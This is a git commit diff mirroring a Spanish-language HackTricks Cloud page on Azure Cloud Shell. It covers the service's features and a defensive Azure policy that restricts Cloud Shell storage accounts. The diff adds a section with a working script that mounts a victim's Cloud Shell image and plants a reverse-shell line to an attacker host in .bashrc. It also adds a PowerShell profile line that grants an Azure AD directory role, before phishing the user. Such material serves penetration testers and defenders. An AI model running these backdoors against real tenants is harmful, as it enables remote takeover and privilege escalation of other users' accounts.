mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,24 +4,113 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible desde el navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que expira después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code.
|
||||
**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible a través del navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que se agota después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code.
|
||||
|
||||
No hay permisos asignados a este servicio, por lo tanto, no hay técnicas de escalada de privilegios. Además, no hay ningún tipo de enumeración.
|
||||
|
||||
### Características Clave
|
||||
|
||||
**Entorno**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribución de Linux de Microsoft diseñada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques a la cadena de suministro.
|
||||
**Herramientas Preinstaladas**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas están listas para usar. Para listar los paquetes y módulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list".
|
||||
**Persistencia de $HOME**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta. Elegir no adjuntar almacenamiento crea una sesión efímera donde los archivos se eliminan al finalizar la sesión. Para persistir archivos entre sesiones, monta una cuenta de almacenamiento, que se adjunta automáticamente como **$HOME\clouddrive**, con tu directorio **$HOME** guardado como un archivo **.img** en Azure File Share. Sin embargo, los archivos fuera de $HOME y los estados de la máquina no se persisten. Para almacenar de forma segura secretos como claves SSH, utiliza Azure Key Vault.
|
||||
**Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una navegación fácil de los recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
|
||||
**Instalación de Herramientas Personalizadas**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta característica permite una mayor personalización del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuración a sus necesidades específicas.
|
||||
- **Herramientas Preinstaladas**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas están listas para usar. Para listar los paquetes y módulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list".
|
||||
- **Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una fácil navegación de recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
|
||||
- **Instalación de Herramientas Personalizadas**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta característica permite una mayor personalización del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuración a sus necesidades específicas.
|
||||
- **Persistencia de $HOME**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta.
|
||||
- Elegir no adjuntar almacenamiento crea una sesión efímera donde los archivos se eliminan cuando la sesión termina.
|
||||
- Para persistir archivos a través de sesiones, se te da la opción de **montar una cuenta de almacenamiento**, que se adjunta automáticamente como `$HOME\clouddrive`, con tu directorio `$HOME` **guardado como un archivo .img en un recurso compartido.**
|
||||
|
||||
### Phishing en Cloud Shell
|
||||
|
||||
Si un atacante encuentra imágenes de otros usuarios en una Cuenta de Almacenamiento a la que tiene acceso de escritura y lectura, podrá descargar la imagen, **agregar un backdoor de bash y PS en ella**, y volver a subirla a la Cuenta de Almacenamiento para que la próxima vez que el usuario acceda a la shell, los **comandos se ejecuten automáticamente**.
|
||||
|
||||
- **Descargar, backdoor y subir la imagen:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Luego, phishing al usuario para acceder a https://shell.azure.com/**
|
||||
|
||||
|
||||
### Encontrar y Prohibir Cuentas de Almacenamiento Automáticas de Cloud Shell
|
||||
|
||||
Las cuentas de almacenamiento creadas por Cloud Shell están etiquetadas con **`ms-resource-usage:azure-cloud-shell`**. Es posible crear una política de recursos de Azure que desactive la creación de recursos con esta etiqueta.
|
||||
|
||||
Encuentra todas las cuentas de almacenamiento creadas por Cloud Shell por etiquetas:
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Política para prohibir la creación de cuentas de almacenamiento automáticas para el almacenamiento de cloud shell basadas en etiquetas:
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Persistencia
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Reference in New Issue
Block a user